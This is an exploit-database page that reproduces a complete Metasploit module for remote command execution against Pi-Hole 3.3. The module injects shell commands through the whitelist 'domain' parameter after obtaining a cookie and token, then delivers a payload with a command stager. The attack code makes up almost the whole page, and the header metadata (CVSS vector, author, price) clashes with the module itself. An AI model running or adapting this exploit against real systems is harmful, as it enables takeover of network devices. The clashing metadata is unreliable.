Advertisement






Pi-Hole 3.3 Command Execution

CVE Category Price Severity
CVE-2018-27409 CWE-77 $5,000 High
Author Risk Exploitation Type Date
GreyEnergy High Remote 2020-05-27
CPE
cpe:cpe:/a:pi-hole:pi-hole:3.3
CVSS EPSS EPSSP
CVSS:4.0/AV:L/AC:L/PR:L/UI:N/S:C/C:L/I:L/A:N 0.08333 0.6325

CVSS vector description

Our sensors found this exploit at: https://cxsecurity.com/ascii/WLB-2020050206

Below is a copy:

Pi-Hole 3.3 Command Execution
##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::HttpClient
  include Msf::Exploit::CmdStager

  def initialize(info = {})
    super(
      update_info(
        info,
        'Name' => 'Pi-Hole Whitelist OS Command Execution',
        'Description' => %q{
          This exploits a command execution vulnerability in Pi-Hole <= 3.3.
          When adding a new domain to the whitelist, it is possible to chain
          a command to the domain that is run on the OS.
        },
        'License' => MSF_LICENSE,
        'Author' =>
          [
            'h00die', # msf module
            'Denis Andzakovic' # original PoC, discovery
          ],
        'References' =>
          [
            ['URL', 'https://pulsesecurity.co.nz/advisories/pihole-v3.3-vulns']
          ],
        'Platform' => ['linux'],
        'Privileged' => false,
        'Arch' => [ARCH_X86, ARCH_X64, ARCH_CMD],
        'Targets' =>
          [
            [ 'Automatic Target', {}]
          ],
        'DisclosureDate' => 'Apr 15 2018',
        'DefaultTarget' => 0,
        'Notes' => {
          'Stability' => [CRASH_SAFE],
          'SideEffects' => [ARTIFACTS_ON_DISK],
          'Reliability' => [REPEATABLE_SESSION]
        }
      )
    )
    register_options(
      [
        Opt::RPORT(80),
        OptString.new('TARGETURI', [ true, 'The URI of the Pi-Hole Website', '/']),
        OptString.new('PASSWORD', [ false, 'Password for Pi-Hole interface', '']),
      ]
    )
  end

  def login(cookie)
    vprint_status('Login required, attempting login.')
    send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'admin', 'settings.php'),
      'cookie' => cookie,
      'vars_get' => {
        'tab' => 'blocklists'
      },
      'vars_post' => {
        'pw' => datastore['PASSWORD']
      },
      'method' => 'POST'
    )
  end

  def execute_command(cmd, _opts = {})
    # get cookie
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'admin', 'index.php')
    )
    cookie = res.get_cookies
    print_status("Using cookie: #{cookie}")

    # get token
    res = send_request_cgi(
      'uri' => normalize_uri(target_uri.path, 'admin', 'list.php'),
      'cookie' => cookie,
      'vars_get' => {
        'l' => 'white'
      }
    )

    # check if we got hit by a login prompt
    if res && res.body.include?('Sign in to start your session')
      res = login(cookie)
    end

    if res && res.body.include?('Sign in to start your session')
      fail_with(Failure::BadConfig, 'Incorrect Password')
    end

    # <div id="token" hidden>f5al5pNfFj9YOCSdX159tXjttdHUOAuxOJDgwcgnUHs=</div>
    # may also include /
    %r{div id="token" hidden>(?<token>[\w+=/]+)</div>} =~ res.body

    unless token
      fail_with(Failure::UnexpectedReply, 'Unable to find token')
    end

    print_status("Using token: #{token}")

    send_request_cgi({
      'method' => 'POST',
      'ctype' => 'application/x-www-form-urlencoded',
      'cookie' => cookie,
      'uri' => normalize_uri(target_uri.path, 'admin', 'scripts', 'pi-hole', 'php', 'add.php'),
      'vars_post' => {
        'domain' => "#{rand_text_alphanumeric(3..5)}.com;#{cmd}",
        'list' => 'white',
        'token' => token
      }
    })
  end

  def check
    begin
      res = send_request_cgi(
        'uri' => normalize_uri(target_uri.path, 'admin', 'index.php'),
        'method' => 'GET'
      )
      fail_with(Failure::UnexpectedReply, "#{peer} - Could not connect to web service - no response") if res.nil?
      fail_with(Failure::UnexpectedReply, "#{peer} - Check URI Path, unexpected HTTP response code: #{res.code}") if res.code != 200

      # vDev (HEAD, v3.2.1-0-g31dddd8-dirty)
      # v3.2.1
      %r{<b>Web Interface Version\s*</b>\s*(vDev \(HEAD, )?v?(?<version>[\d\.]+)\)?.*<b>}m =~ res.body

      if version && Gem::Version.new(version) < Gem::Version.new('3.3')
        vprint_good("Version Detected: #{version}")
        return CheckCode::Appears
      else
        vprint_bad("Version Detected: #{version}")
        return CheckCode::Safe
      end
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end
    CheckCode::Safe
  end

  def exploit
    if check != CheckCode::Appears
      fail_with(Failure::NotVulnerable, 'Target is not vulnerable')
    end

    begin
      execute_cmdstager(flavor: :bourne)
    rescue ::Rex::ConnectionError
      fail_with(Failure::Unreachable, "#{peer} - Could not connect to the web service")
    end

  end
end

Copyright ©2024 Exploitalert.

This information is provided for TESTING and LEGAL RESEARCH purposes only.
All trademarks used are properties of their respective owners. By visiting this website you agree to Terms of Use and Privacy Policy and Impressum